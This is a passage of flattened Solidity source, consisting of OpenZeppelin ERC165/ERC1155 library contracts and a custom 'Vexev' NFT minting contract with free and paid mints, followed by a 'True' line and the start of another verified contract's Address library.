https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: Vexev.sol pragma solidity ^0.8.0; // Vexev is an Artstamps project built by Plentefy // @auhtor Kvn "OxygenAryl" Smnck contract Vexev is ERC1155, Ownable { using SafeMath for uint256; using Strings for string; bool public mintClosed = false; bool public moreClosed = true; uint256 public copyMax = 3; uint256 public freeCap = 3000; uint256 public payCap = 7000; uint256 public maxToken = 9999999999999999999999999; uint256 public startPrice = 30000000000000000; // 0.03 ETH uint256 public addonePrice = 20000000000000000; // 0.02 ETH uint256 public addtwoPrice = 10000000000000000; // 0.01 ETH uint256 public midPrice; uint256 public mintPrice; // total price uint256 public freeTot = 0; uint256 public payTot = 0; string public _baseURI = "https://artstamps.io/vexevTokens/"; string public _contractURI = "https://artstamps.io/vexevTokens/contract"; mapping(uint256 => uint256) public totalSupply; mapping(uint256 => uint256) public idPlace; mapping(uint256 => string) public tokenURIs; mapping(address => bool) public freeb; constructor() ERC1155(_contractURI) { } function mintPause(bool valm) public onlyOwner { mintClosed = valm; } function morePause(bool valp) public onlyOwner { moreClosed = valp; } function setCaps (uint256 _capFree, uint256 _capPay, uint256 _maxCop, uint256 _maxToke) public onlyOwner { freeCap = _capFree; payCap = _capPay; copyMax = _maxCop; maxToken = _maxToke; } function Pricing(uint256 _priceStart, uint256 _priceOne, uint256 _priceTwo) public onlyOwner { startPrice = _priceStart; addonePrice = _priceOne; addtwoPrice = _priceTwo; } //Free Public Mint function mintFree(uint256 tokenNumFree) public { require(!mintClosed, "Closed"); require(tokenNumFree <= maxToken, "Pick 25 digit number"); require(freeb[msg.sender] == false, "You already got one free"); require(totalSupply[tokenNumFree] == 0, "Token already chosen"); require(freeTot < freeCap, "No Free Tokens Left"); freeTot = freeTot + 1; idPlace[freeTot] = tokenNumFree; freeb[msg.sender] = true; mintRound(tokenNumFree, 1); } //Paid Public Mint function mintPayMult(uint256 tokenNumPayMult, uint256 copyx) public payable { midPrice = startPrice.add(addonePrice); if (copyx == 1) { mintPrice = startPrice; } else if (copyx == 2) { mintPrice = midPrice; } else if (copyx == 3) { mintPrice = midPrice.add(addtwoPrice); } else if (copyx == 4) { mintPrice = midPrice.add(addtwoPrice).add(addtwoPrice); } else { mintPrice = midPrice.add(addtwoPrice).add(addtwoPrice).add(addtwoPrice); } require(!mintClosed, "Closed"); require(copyx > 0, "must purchase more than 0"); require(copyx < copyMax + 1, "Can't have more copies than max"); require(tokenNumPayMult <= maxToken, "Pick 25 digit number"); require(totalSupply[tokenNumPayMult] == 0, "Token already has a first mint"); require(mintPrice == msg.value, "insufficient ETH"); require(payTot < payCap, "No Paid Tokens Left"); payTot = payTot + 1; idPlace[payTot+10000] = tokenNumPayMult; mintRound(tokenNumPayMult, copyx); } //Paid Public Additional Copies function mintMore(uint256 tokenNumMore, uint256 copym) public payable { midPrice = startPrice.add(addonePrice); mintPrice = midPrice.mul(copym); require(!moreClosed, "Closed"); require(tokenNumMore <= maxToken, "Pick 25 digit number"); require(totalSupply[tokenNumMore] > 0, "Token needs to exist"); require(totalSupply[tokenNumMore] + copym < copyMax + 1, "Can't exceed max tokens"); require(mintPrice == msg.value, "insufficient ETH"); mintRound(tokenNumMore, copym); } //mint a token function mintRound(uint256 tokenNum, uint256 copy) private { if (totalSupply[tokenNum] + copy < copyMax + 1) { totalSupply[tokenNum] = totalSupply[tokenNum] + copy; _mint(msg.sender, tokenNum, copy, "0x0000"); return; } revert("sorry you couldn't find one of the remaining tokens"); } //Artstamp can mint a specific token if there are problems function ownerMint(address to, uint256 id, uint256 copyz) public onlyOwner { require(!mintClosed, "Closed"); if (totalSupply[id] == 0) { payTot = payTot + 1; idPlace[payTot+10000] = id; totalSupply[id] = totalSupply[id] + copyz; } else { totalSupply[id] = totalSupply[id] + copyz; } _mint(to, id, copyz, "0x0000"); } function setBaseURI(string memory newurib) public onlyOwner { _baseURI = newurib; } function setContractURI(string memory newuric) public onlyOwner { _contractURI = newuric; } function uri(uint256 tokenId) public view override returns (string memory) { return string(abi.encodePacked(_baseURI, uint2str(tokenId))); } function tokenURI(uint256 tokenId) public view returns (string memory) { return string(abi.encodePacked(_baseURI, uint2str(tokenId))); } function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - (_i / 10) * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function checkSupply(uint256 id) public view virtual returns (uint256) { return totalSupply[id]; } function exists(uint256 id) public view returns (bool) { return totalSupply[id] > 0; } // withdraw some revenue to prepare tax liabilities and mitigate currency and wallet risk :) function withdrawSome(uint256 leaveAmt) public onlyOwner { uint256 withdrawAmt = address(this).balance.sub(leaveAmt); payable(msg.sender).transfer(withdrawAmt); } // withdraw all funds instantly function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-03-25 */ /** *Submitted for verification at Etherscan.io on 2021-03-25 */ // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } 